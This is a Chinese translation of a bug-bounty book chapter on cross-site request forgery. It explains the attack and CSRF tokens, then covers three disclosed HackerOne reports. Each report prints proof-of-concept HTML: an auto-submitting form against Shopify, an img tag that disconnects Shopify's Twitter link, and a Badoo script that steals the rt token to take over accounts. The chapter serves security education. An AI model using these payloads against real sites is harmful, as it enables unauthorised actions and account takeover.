八、跨站请求伪造

作者:Peter Yaworski

译者:飞龙

协议:CC BY-NC-SA 4.0

描述

跨站请求伪造,或 CSRF 攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户的 Web 浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通常会在用户不知道操作已经执行的情况下发生。

CSRF 攻击的影响取决于收到操作的站点。这里是一个例子:

  1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。
  2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。
  3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob 银行会话的 Cookie 信息。
  4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token 的情况下处理了转账。

更有意思的是这个想法,也就是恶意网站的链接可以包含有效的 HTML,<imgsrc=”www.malicious_site.com”>,并且并不需要 Bob 点击链接。如果 Bob 的设备(例如浏览器)渲染了这个图片,它会向malicious_site.com发送请求,来完成 CSRF 攻击。

现在,知道了 CSRF 的危险之后,它们可以以多种方式防范。最流行的方式大概是 CSRF Token,它必须随着潜在的数据修改气你去一起提交(例如 POST 请求)。这里,Web 应用(例如 Bob 的银行)会生成一个两部分的 Token,一个 Bob 会收到,另一个由应用保管。

当 Bob 试图提交转账请求时,它就需要提交 Token,银行会验证它这一边的 Token。

现在,对于 CSRF 和 CSRF Token 来说,跨域资源共享似乎越来越普遍了。或者只是我注意到是这样。本质上,CORS 限制了资源,包括 JSON 响应,被外域访问。换句话说,当 CORS 用于保护站点时,你就不能编写 JavaScript 来调用目标应用,读取响应或者进行另一个调用,除非目标站点允许。

似乎这非常令人混乱,使用 JavaScript,尝试调用HackerOne.com/activity.json,读取响应并进行二次调用。你也会在下面的例子 #3 看到它的重要性,以及潜在的原理。

最后,重要的是要记住(感谢 Jobert Abma 补充),并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题。一些站点可能执行额外的检查,例如比较 Referer 协议头(虽然可能出错,并且有一些绕过它的案例)。它是一个字段,标识了链接到被请求资源的页面地址。换句话说,如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点,站点可能不允许该调用,因此能够完成和验证 CSRF Token 的相同操作。此外,不是每个站点在创建或者定义 Token 时都使用csrf术语。例如,在 Badoo 它使用rt参数,我们下面会讨论。

链接

查看 OWASP 测试指南

示例

1. Shopify 导出已安装的用户

难度:低

URL:https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

报告链接:https://hackerone.com/reports/96470

报告日期:2015.10.29

奖金:$500

描述:

Shopify 的 API 提供了一个终端,用于导出已安装用户的列表,通过上面给出的 URL。在站点能够调用该终端,并且读取信息的地方存在漏洞,因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以,下面的 HTML 代码可以用于代表任何未知受害者提交表单。

  1. <html>
  2. <head><title>csrf</title></head>
  3. <body onLoad="document.forms[0].submit()">
  4. <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
  5. </form>
  6. </body>
  7. </html>

这里,通过仅仅浏览站点,JavaScript 就会提交表单,它实际上包含 Shopify API 的 GET 请求,使用受害者的浏览器,并提供 Shopify 的 Cookie。

重要结论

扩展你的攻击领域,并从站点转向它的 API 终端。API 提供了极大的漏洞可能性,所以最好牢记他,尤其是当你知道 API 可能开发完毕,或者在站点实际开发之后可用的时候。

2. Shopify Twitter 断开连接

难度:低

URL:https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

报告链接:https://hackerone.com/reports/111216

报告日期:2016.1.17

奖金:$500

描述:

Shopify 提供了 Twitter 的继承,来允许店主转推它们的商品。与之相似,也提供了功能来断开推特账户和被连接商店的链接。

断开 Twitter 账户的 URL 写在了上面。当进行调用时,Shopify 不验证 CSRf Token,这可能会允许恶意人员代表受害者进行 GET 调用,因此断开受害者的商店与 Twitter 的连接。

在提供这份报告的时候,WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的img标签的使用,它对漏洞 URL 进行调用:

  1. GET /auth/twitter/disconnect HTTP/1.1
  2. Host: twitter-commerce.shopifyapps.com
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
  4. Accept: text/html, application/xhtml+xml, application/xml
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Referer: https://twitter-commerce.shopifyapps.com/account
  8. Cookie: _twitter-commerce_session=REDACTED
  9. Connection: keep-alive

由于浏览器进行 GET 请求来获取给定 URL 处的图片,并且不验证任何 CSRF Token ,用户的商店现在已断开连接:

  1. <html>
  2. <body>
  3. <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
  4. </body>
  5. </html>

重要结论

这种情况下,这个漏洞可以使用代理服务器来发现,例如 Burp 或者 Firefox 的 Tamper Data,来观察发送给 Shopify 的请求,并主要到这个请求使用 GET 方式来执行。由于这是个破坏性操作,而 GET 请求不应该修改任何服务器上的数据,这应该是一些需要关注的事情。

3. Badoo 账户的完整控制

难度:中

URL:https://badoo.com

报告链接:https://hackerone.com/reports/127703

报告日期:2016.4.1

奖金:$852

描述:

如果你仔细检查 Badoo ,你会发现,它们通过包含 URL 参数rt来防御 CSRF,它只有 5 个位数(至少在我写这篇的时候)。虽然我在 Badoo 入驻 HackerOne 的时候就注意到了,我并没有找到利用它的方式,但是zombiehelp54找到了。

发现rt参数以及其值之后,它也注意到了,参数一户在所有 JSON 响应中都返回。不幸的是,这并没有什么帮助,因为 CORS 保护了 Badoo,攻击者无法读取这些响应,所以它继续挖掘。

最终,文件https://eu1.badoo.com/worker-scope/chrome-service-worker.js包含了rt值。更好的是,这个文件可以由攻击者任意读取,而不需要受害者做什么,除了浏览这个恶意页面。这里是它提供的代码。

  1. <html>
  2. <head>
  3. <title>Badoo account take over</title>
  4. <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
  5. </head>
  6. <body>
  7. <script>
  8. function getCSRFcode(str) {
  9. return str.split('=')[2];
  10. }
  11. window.onload = function(){
  12. var csrf_code = getCSRFcode(url_stats);
  13. csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
  14. window.location = csrf_url;
  15. };
  16. </script>

本质上,当受害者加载此页面时,它会调用 Badoo 的脚本,为用户获取rt参数,之后代表受害者进行调用,这里,它将受害者的账户链接到了攻击者的,本上上完成了账户的控制。

重要结论

无风不起浪。这里,攻击者注意到了rt参数在不同位置返回,特别是 JSON 响应,因此,它正确猜测了,它可能出现在一些可以利用的地方,这里是 JS 文件。

继续干吧,如果你觉得一些东西可能会发生,一定要继续挖掘。当你访问目标站点或应用时,使用 Burp 检查所有被调用的资源。

总结

CSRF 表示另一个攻击向量,并且可能在受害者不知道,或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智,同样,也需要测试任何东西的渴望。

通常,如果站点执行 POST 请求,Web 表单都统一由应用框架保护,例如 Rails,但是 API 又是另外一个事情。例如, Shopify 使用了 RoR 编写,它对所有表单默认提供了 CSRF 保护(当然也可以关掉)。但是,显而易见,这对于使用框架创建的 API 不一定成立。最后,一定要观察任何通过 GET 请求执行的,修改服务器数据的调用(例如删除操作)。